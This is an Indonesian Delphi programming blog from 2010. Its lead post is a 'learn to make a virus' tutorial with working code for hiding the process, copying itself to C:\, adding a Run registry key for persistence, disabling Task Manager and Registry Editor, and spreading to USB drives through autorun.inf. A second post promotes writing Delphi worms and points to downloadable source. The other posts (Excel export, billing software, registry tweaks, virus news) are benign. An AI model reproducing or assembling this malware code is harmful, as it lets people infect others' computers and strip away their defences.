Rabu, 06 Oktober 2010

Mari belajar membuat virus... :D

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
  • C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #5 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

Minggu, 05 September 2010

Contoh Aplikasi Billing Warnet

Entah beberapa hari ini saya lebih suka bernostalgia dengan program-program delphi yang pernah saya buat mulai dari semester 2 sampai semester sekarang ini. Kali ini adalah program atau aplikasi delphi yang kali pertama saya buat. Bisa dikatakan program ini sangat sederhana, kualitasnya juga tidak begitu baik. Saya sama sekali tidak menyarankan untuk menggunakan program delphi ini. Program ini adalah program billing yang bisa digunakan untuk billing warnet,game center, rental komputer dan billing warnet wifi (didaerahku ada loh warnet wifi, jadi orang yang dateng harus bawa laptop sendiri. Per jamnya 1000 perak -solusi hemat bagi yang punya laptop). Karena ini program awal saya (bukan proyek, tetapi hanya pekerjaan pribadi saja) banyak sekali bugs, saya tidak bisa menjelaskan satu persatu, karena saya sendiri malah tidak bisa mengenali bugs itu. Akhirnya program tersebut berhenti dikembangkan. Hebatnya (saya kira begitu) program ini berhasil dikembangkan sampai versi 1.5. Ada beragam versi, mulai versi biling dengan database access, sampai dengan flat database(menggunakan text biasa sebagai penampung data). Anda bisa mendownload source code dan file binarinya

Fitur program ini sebagai berikut:

  • Flat Database feature
  • Skin yang mudah diganti-ganti, seperti winamp. Skin ini menggunakankomponen SuiSkin
  • 21 Client yang bisa di handle
  • Multi Operator, biasanya warnet buka 24 jam sehari, untuk itu diperlukan pergantian shif, maka program ini support multi operator, meskipun pada tahap yang paling sederhana :)
  • Smart Recovery, fitur ini digunakan untuk mengembalikan data-data biling jika komputer crash atau listrik down.
  • Optimasi penggunaan memory komputer
  • Quick notes feature yang digunakan untuk mencatat hal-hal penting.
  • Report feature

Versi biling ini adalah 1.5 Updated, untuk versi dibawahnya hilang entah kemana. Sekali lagi program delphi ini adalah program pribadi, lebih kepada experimen dan kepuasan pribadi. Jadi jangan ditertawakan atas kejelekan dan kekurangan contoh program delphi ini.

PS: sebagai catatan, biling warnet ditulis dengan delphi 7, kemungkinan besar bisa dibuka dengan menggunakan delphi 5 atau 6 tetapi saya belum mencobanya. Billing ini menggunakan skin atau komponen tambahan yang perlu diinstall pada delphi. Nama komponen skinnya adalah Sui Skin, silahkan cari di internet. Jadi sebelum membuka source code program delphi ini, pastikan dulu anda sudah menginstall suiskin.

Rabu, 18 Agustus 2010

Mendapatkan IP Addres dari URL yang diberikan

Nah kawan, sekarang aku mau share dikit tenang delphi..
Kali ini aku mau buat aplikasi yang bisa memberitahukan kita IP seseorang, kan kalo udah tau IP seseorang kita bisa maen-maen dengan PC-nya.. hehehe

Langsung aja y.

uses
Winsock;


function IAddrToHostName(const IP: string): string;
var
i: Integer;
p: PHostEnt;
begin
Result := '';
i := inet_addr(PChar(IP));
if i <> u_long(INADDR_NONE) then
begin
p := GetHostByAddr(@i, SizeOf(Integer), PF_INET);
if p <> nil then Result := p^.h_name;
end
else
Result := 'Invalid IP address';
end;

Kamis, 05 Agustus 2010

Eksport Data Bag. II

Nah untuk bagian ke-2 ini saya akan menuliskan listing program uintuk meng-eksport data dari DBGrid ke Excel, jadi diharapkan aplikasi yang kawan buat hasil proses maupun output yang akan di cetak bisa di cetak kedalam excel..

Dan ini adalah listing nya..

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,comobj, StdCtrls, DB, DBTables, Grids, DBGrids;

type
TForm1 = class(TForm)
DataSource1: TDataSource;
DBGrid1: TDBGrid;
Table1: TTable;
Excel: TButton;
procedure ExcelClick(Sender: TObject);
private
{ Private declarations }
XlApp, XlBook, XlSheet, XlSheets, Range,chat : Variant; // Excel 97
WApp, Word : Variant; // Word 97

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ExcelClick(Sender: TObject);
var i,x:integer;

Sfile:string;
begin
// buka excel
XlApp := CreateOleObject('Excel.Application');
// tambahkan workbook
XlBook := XlApp.WorkBooks.Add;
// tambahkan worksheet
XlSheet := XlBook.worksheets.add;
//cetak header field dari dbgrid
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2,i+1].value:=dbgrid1.columns[i].Title.Caption;
end;
// transfer data ke excel
table1.First;
x:=1;
while not table1.Eof do
begin
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2+x,i+1].value:=dbgrid1.Fields[i].Text;
end;
table1.Next;
inc(x);
end;

//menampilkan aplikasi //XlApp.visible:=true;

//script dibawah ini untuk dialog disimpan atau ditampilkan

if MessageDlg('Apakah hasil export ditampilkan..?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
MessageDlg('Hasil Ditampilkan', mtInformation,
[mbOk], 0);
XlApp.visible:=true;
end
else
//simpan ke file
begin
Sfile:= InputBox('Nama File', 'hasil export', 'c:\hasil.xls');
XlApp.ActiveWorkbook.SaveAs(sfile);
XlApp.visible:=true;
end


end;

end.


Simpel kan....?? Selamat mencoba..

Eksport Data Bag. I

Ok kawan,,untuk materi sekarang saya akan mencoba menjabarkan listing program untuk meng-eksport data dari komponen listview ke dalam excel..


uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,ComObj;


procedure TForm1.Button2Click(Sender: TObject);
var
xlapp, xlbook,XlSheet: OLEVariant;
baris,kolom,x,y:integer;
begin
xlapp := CreateOLEObject('Excel.Application');
xlbook := xlapp.Workbooks.Add;
XlSheet := XlBook.worksheets.add;
xlapp.Visible := True;
baris:=ListView1.Items.Count;
kolom:=3; // jumlah kolom listview

{Cetak judul kolom}
for x:=1 to 3 do
XlSheet.Cells[1,x].value:= ListView1.Columns[x-1].Caption;

for y:=0 to baris-1 do
for x:=1 to kolom do
begin
begin
if x=1 then
{cetak kolom pertama}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].Caption
else
{cetak kolom kedua dan seterusnya}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].SubItems[x-2];
end;
end;

end;

Selasa, 02 Februari 2010

Membuat Virus / Worm dengan Delphi


Menyambung posting sebelumnya,,, klo diantara teman-teman ada yang mau mencoba membuat virusnya coba baca artikel ini.

Delphi tidak bisa untuk membuat virus? well, itu asumsi salah, karena delphi adalah bahasa pemrograman sebagaimana visual basic, yang sering digunakan oleh pembuat virus.

Apakah delphi cocok digunakan untuk membuat virus? well, saya kira, jika ukuran virus menjadi isu utama, mungkin visual basic lebih cocok, karena memproduksi file executable lebih kecil. Jika daya hidup virus lebih utama saya pikir delphi lebih cocok untuk membuat virus, walau Anda tidak dapat menggunakan teknik pemrograman biasa jika hendak membuat virus.

Delphi adalah suatu tool pemrograman berorientasi objek produksi Borland (sekarang menjadi milik Code Gear kemudian berpindah ke Embarcardo ). Bahasa yang digunakan Delphi dikembangkan dari Bahasa Pemrograman Pascal tradisional, yang masih text based, dan masih berupa bahasa pemrograman terstruktur.

Umumnya, aplikasi yang dibuat oleh developer Delphi adalah aplikasi window dengan banyak operasi drag and drop komponen dan form-form. Namun program yang hendak kita buat adalah malcode, dimana ukuran file menjadi isu penting. Dalam pembuatan aplikasi windows, Delphi adalah salah satu yang terbaik (atau dalam kacamata saya, terbaik, tanpa kata ‘salah satu’ J) dari sisi kemudahan dan konsistensi, namun menghasilkan ukuran file executable yang lebih besar daripada bahasa sejenis yang paling sering digunakan untuk membuat virus, yakni Visual Basic. Kita akan meninggalkan kemudahan fasilitas yang ditawarkan IDE Delphi demi optimasi file executable malcode yang kita buat.

Banyaknya virus/worm lokal yang dibuat dengan Visual Basic dan jarang dibuat dengan Delphi, tidak berarti bahwa Visual Basic lebih baik atau lebih canggih daripada Delphi, masing-masing bahasa mempunyai kelebihan dan kekurangan.

Visual Basic mempunyai statement ‘sakti’ On Error Resume Next yang bermakna, “jika terjadi kesalahan dalam code yang dieksekusi saat ini, abaikan, dan lanjutkan untuk mengeksekusi baris code berikutnya”, dengan demikian, jika misalkan terdapat kesalahan pemrograman dalam tubuh virus/worm, Windows tidak menampilkan pesan error sama sekali, hal ini sangat meningkatkan tingkat ketersembunyian malcode yang dibuat dalam bahasa Visual Basic. Sangat tidak lucu, jika keberadaan virus yang seharusnya stealth, tiba-tiba karena bug dalam tubuhnya, memunculkan pesan error sehingga dengan mudah keberadaanya diketahui.

File executable yang dihasilkan oleh compiler Visual Basic relatif lebih kecil daripada Delphi. Hal ini disebabkan Windows secara default telah menyediakan library-library yang dibutuhkan aplikasi yang dibuat dengan Visual Basic, sehingga compiler tidak perlu membundelnya dalam file executable. Anda bebas menggunakan komponen Active X dan Form standar, file executable yang dihasilkan oleh compiler Visual Basic tetap kecil karena tidak berdiri sendiri. Hal ini merupakan kelebihan sekaligus kelemahan yang paling fatal dari semua virus yang dibuat dengan Visual Basic. Sebagai contoh dari hal yang sudah banyak diketahui, bahwa file executable Visual Basic 6 selalu membutuhkan msvbvm60.dll (Microsot Visual Basic Virtual Machine)agar bisa dieksekusi. Bagaimana jika penjinak virus menghapus atau merename msvbvm60.dll ? Karena kelemahan yang sangat mendasar inilah, hampir semua malcode yang dibuat selalu berusaha untuk melindungi file msvbvm60.dll dari serangan virus/worm hunter. Dan terdapat teknik menarik untuk menangani ketergantungan terhadap msvbvm60.dll ini.

File executable Delphi umumnya tidak bergantung pada library yang spesifik. Compiler Delphi telah membundel library yang dibutuhkan dalam file executable. Hal ini membuat file .exe aplikasi Windows yang dibuat dengan Delphi relatif jauh lebih besar daripada aplikasi yang dibuat dengan Visual Basic. Namun point terpenting disini, file executable Delphi lebih mandiri, dan kelemahan umum pada malcode Visual Basic, tidak dijumpai pada malcode Delphi. Lalu bagaimana dengan ukuran file exe malcode Delphi besar? Hal ini dapat disiasati dengan meninggalkan pemrograman berbasis window dan beralih ke modus console saat kita memprogram malcode.

Jadi memprogram virus dengan Delphi lebih sulit? Tidak juga. Virus atau worm windows tidak lebih dari sekedar permainan registry dan Windows API. Delphi telah menyediakan unit berisikan function-function siap pakai untuk mengakses Windows API dan registry. Dengan demikian Anda tidak perlu mengimport secara langsung function-function API dari library Windows ketika hendak menggunakannya(suatu hal yang mesti harus Anda lakukan jika Anda menggunakan Visual Basic). Selain itu, seandainya pun Anda tidak ingin berjibaku menggunakan modus console, ukuran malcode Delphi sebesar sekitar satu megabyte (sebelum dikompres dengan UPX) tidak ada artinya jika memang target media penyebarannya adalah flashdisk.

Berikut ini source code virus / worm yang dibuat dengan delphi.


DOWNLOAD:

Waduh, Virus Delphi Mematikan Serang Windows

Peneliti dari perusahaan antivirus Sonicwall, juga beberapa vendor lainnya, termasuk Sophos, telah menemukan virus mematikan terbaru. Selasa (18/08) kemarin, mereka menemukan virus Win32.Induc yang ditulis untuk menginfeksi aplikasi yang dibangun menggunakan bahasa pemrograman Delphi. Hal tersebut disampaikan oleh Nick Bilogorskiy, manager peneliti dari Sonicwall. Sementara itu, bahasa Delphi sendiri biasanya digunakan untuk membuat aplikasi yang dijalankan di Windows, termasuk aplikasi database.

Menurut Bilogorskiy, ketika program buatan Delphi yang sudah terinfeksi, maka virus akan menyebarkan file executable-nya (.exe) sendiri seperti yang ada di source code-nya. Jika dalam komputer ditemukan instalasi berbasis Delphi, maka program tersebut akan mencoba menulis code ke SysConst.pas, yang kemudian di-compile ke SysConst.dcu (setelah menyimpan copy-an file SysConst.dcu aslinya ke SysConst.bak). File SysConst.dcu baru yang terinfeksi kemudian akan menambah code W32/Induc-A secara otomatis ke setiap file Delphi yang baru, yang kemudian akan di-compile oleh system.

“Malware tersebut hanya menyebarkan dirinya, tidak menghapus file ataupun melakukan sesutau yang lebih ‘jahat’. Namun, jika user membuat software berbasis Delphi dan memiliki source code ‘jahat’ tersebut, maka software yang dibuat itu masih bisa diblokir oleh antivirus. Walaupun begitu, sudah sebanyak 30 persen developer yang menggunakan Delphi pasti memilki code tersebut.” ungkap Bilogorskiy.

Borland Satukan Banyak Software

Borland telah merilis framework untuk menempatkan tool management pada proses pengembangan software. Ide dari Borland adalah untuk menyediakan kemampuan bagi para stakeholder bisnis, pengembang, project manager, dan eksekutif software ke dalam proses pengembangan.

Pengumuman Borland Management Solutions ini telah membantu sebuah perusahaan tool pengembangan di Santa Cruz, California. Pengembangan software management ini muncul setelah Delphi dan Turbo Pascal, namun belum jelas bagaimana pengembangan tersebut diterjemahkan dalam management layer di atas beberapa bantahan mengenai proses konstruksi kodenya.

“Kami ingin mentransform software, yang tidak memiliki track record terbaik, ke dalam proses bisnis management. Ini seperti sistem tracking FedEx untuk proyek IT.”, kata Rick Jackson, senior VP Borland. Dengan kata lain, Borland mengklaim bahwa pihaknya dapat mengukur dan memonitor proses pengembangan software tesebut yang tidak diduga sebelumnya. Framework tersebut akan menjadi tool pengembangan dan akan melebihi aplikasi produk lifecycle management yang ada di Borland, seperti Caliber atau tool model visual, Together.

Tool management telah disebarkan ke situs pelanggan yang cukup besar dan proses pengembangan dalam internal Borland. Chuck Maples, VP dari bagian pengembangan aplikasi dari Borland, mengatakan pihaknya akan menilai proyek pengembangan framework ini dengan melihat kinerja tim dan meminta statistic progress mereka, sehingga mungkin akan memakan waktu hingga dua mingu untuk mendapatkan semua informasi. Hal inilah yang menyebabkan framework untuk penyatuan informasi dan management pengembangan software ini belum memiliki harga pasti.

Framework ini akan dapat menyatukan data dari Microsoft Project, Borland Caliber, Borland StarTeam change and configuration management system, Borland Silk Central Test Manager dan HP Quality Center, dan kemudian membangun satu penyimpanan untuk menyimpan semua informasi tersebut, yang dapat digunakan nantinya oleh TeamDemand, TeamFocus, dan TeamAnalysis dari Borland. Pihak Borland berencana akan memperluas pasar framework ini seperti ke IBM Rational RequisitePro requirements manager, IBM Rational ClearCase change management, Doors Telelogic. Namun framework tidak bisa dipasang bila terdapat toolset Rational atau produk dalam toolset Visual Studio dari Microsoft karena akan bertabrakan. Interface management dari tiga tool management yang baru dapat membuat kesimpulan dari proyek framework ini dengan banyak elemen gambar.

Kamis, 07 Januari 2010

Mengecek Keberadaan File

Untuk mengecek apakah suatu file ada dalam suatu direktori tertentu, Anda dapat menggunakan fungsi yang di sediakan Delphi.
Rumus fungsi:
FileExists(const FileName:string):boolean.
langkah pertama : letakan Button dan Edit di dalam Form
Langkah kedua: isikan program dengan listing program di bawah ini
Procedure Tfrom.Button1Click(Sender:TObject);
begin
if Edit1.Text = ' ' then
ShowMessage('isikankan nama file yang dicari')
else
begin
if FileExits(Edit1.Text) = true then // jika ada
ShowMessage('file " ' +Edit1.Text + ' " ada. ')
else // Jika tidak ada
showMessage('File " ' +Edit1.Text + ' " tidak dtemukan. ');
end;
end;
langakh ketiga : Klik Run
Selamat mecoba

Mengubah Background Toolbar Windows Explorer dgn Gambar Bitmap

Program ini menjelaskan tentang mengubah background toolbar windos Explorer dengan gambar bitmap. Yang dilakukan program ini sangat sederhana, yakni memberikan data value BackBitmapShell pada key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbat dan nilainya merupakan path file bitmap yang digunakan.
Pada Fom rancang 2 Button dan poperty Dialog dengan mengambil OpenPictureDialog, dan juga EditText

Ini Listing program selengkapnya

Procedure Tform1.Button1Click(Sender:TObject);
begin
if OpenPictureDialog1.Execute then
Edit1.Text:=OpenPicutreDialog1.FileName;
end;

Procedure Tfrom1.Button2Click(Sender:TObject);
var Register:Tregister;
begin
Register:=Tregister.create;
Register.RootKey:=HKEY_CURRENT_USER;
try
try
Register.OpenKey('\Software\Microsoft\Internet Explorer\'+ 'Toolbar',True);
Register.WriteString('BackBitmapShell',Edit1.Text);
ShowMessage('Berhasil mengubah background toolbar'+#13+'Untuk melihat hasilnya,buka'+
' "Windows Explorer" baru.');
Except on ERegistryException do
ShowMessage('Gagal mengubah background toolbar explorer');
end;
Finally
Register.CloseKey;
Register.Free;
end;

Selamat mencoba>>>